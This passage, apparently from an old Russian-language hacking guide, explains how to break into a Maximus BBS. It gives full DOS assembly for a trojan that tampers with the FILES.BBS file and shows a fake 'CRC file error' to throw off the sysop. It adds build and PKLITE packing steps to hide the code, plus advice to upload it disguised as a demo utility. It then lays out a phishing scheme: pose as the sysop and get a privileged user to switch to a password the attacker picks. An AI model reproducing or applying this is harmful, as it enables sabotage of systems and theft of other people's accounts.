assume cs:cseg, ds:cseg
cseg segment
org 100h
start:
;Найдем файл FILES.BBS
mov ah,4Eh
mov dx,offset fname
mov cx,20h
int 21h
;Если файл отсутствует, то выйдем из программы –
;здесь нечего исправлять
jc exit
;Откроем найденный файл
mov ax,3D02h
mov dx,9Eh
int 21h
jc exit
;Установим указатель чтения/записи в конец файла
mov bx,ax
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
;Записываем в файл три байта
mov ah,40h
mov cx,3
mov dx,offset bytes
int 21h
jc exit
;Закроем файл
mov ah,3Eh
int 21h
;Выдадим сообщение об ошибке и выйдем в DOS. Дело в том,
;что отработавшая программа не должна вызвать подозрений
;системного оператора. Цель – заставить системного оператора
;думать, что файл испорчен. Возможно, он допустит, что иногда
;при передаче файлов происходят ошибки, и поэтому файл
;мог стать неработоспособным
exit:
;Выдадим сообщение об ошибке
mov ah,09h
mov dx,offset message
int 21h
;Выход в DOS
mov ah,4Ch
int 21h
;Мусор – специально для того, чтобы упаковать
;файл утилитой PKLITE
Garbage db 12000 dup (”A”)
;Имя файла ”FILES.BBS”
fname db ”files.bbs”,0
;Сообщение об ошибке
message db ”CRC file error”,13,10,”$”
;Записываемые байты
bytes db 23h,”pU”
cseg ends
end start
После того, как файл откомпилирован, его нужно упаковывать, чтобы системный оператор ничего не заподозрил. Этот файл будет содержать большое количество непонятных символов, и при быстром просмотре распознать скрытую в нем программу практически невозможно.
tasm.exe vzlom.asm
tlink.exe vzlom.obj /t
pklite vzlom.com
После этого файл отправляется на BBS и комментируется как демонстрационная программа или как утилита для DOS. Дальше взломщику остается только ждать, пока системный оператор запустит файл. Через некоторое время можно звонить и наслаждаться. Данный метод не сработает, если настоящая опция File Titles в Maximus заменена на ей подобную.
Получение пароля BBS без взлома
Рассмотренные выше способы взлома BBS предполагают наличие у пользователя базовых знаний о системе. Теперь немного о том, как можно достать пароль еще проще. Практически на каждой BBS существуют неопытные пользователи, имеющие высокий уровень доступа (информация об уровне доступа пользователей BBS доступна почти всегда). Если же такого пункта нет, то «хорошего» пользователя всегда можно вычислить, например, по времени, которое он проводит на станции, или по объему скопированной и присланной им информации. Итак, определив человека, паролем которого неплохо завладеть, пишем ему письмо о том, что по техническим причинам (причину придумываем любую, главное правдоподобную) ему следует изменить свой рабочий пароль (предлагаем новый, например «HACK_01»). После того, как пользователь поменяет свой пароль (на это ему нужно отвести дня два-три, поскольку в один день он может не позвонить, в другой – только поменяет пароль, в общем, время ему понадобиться), можно беспрепятственно входить под его именем и пользоваться системой. Главное, чтобы письмо было написано от имени системного оператора или какого-либо администратора данной системы. Если система не позволяет менять имя адресата в поле FROM, стоит зайти в нее под другим именем (к примеру, Mr. CoSysOp) и написать подобное письмо. Наверное, не надо предупреждать, что все данные, указанные при регистрации под заведомо ложным именем, не должны быть настоящими.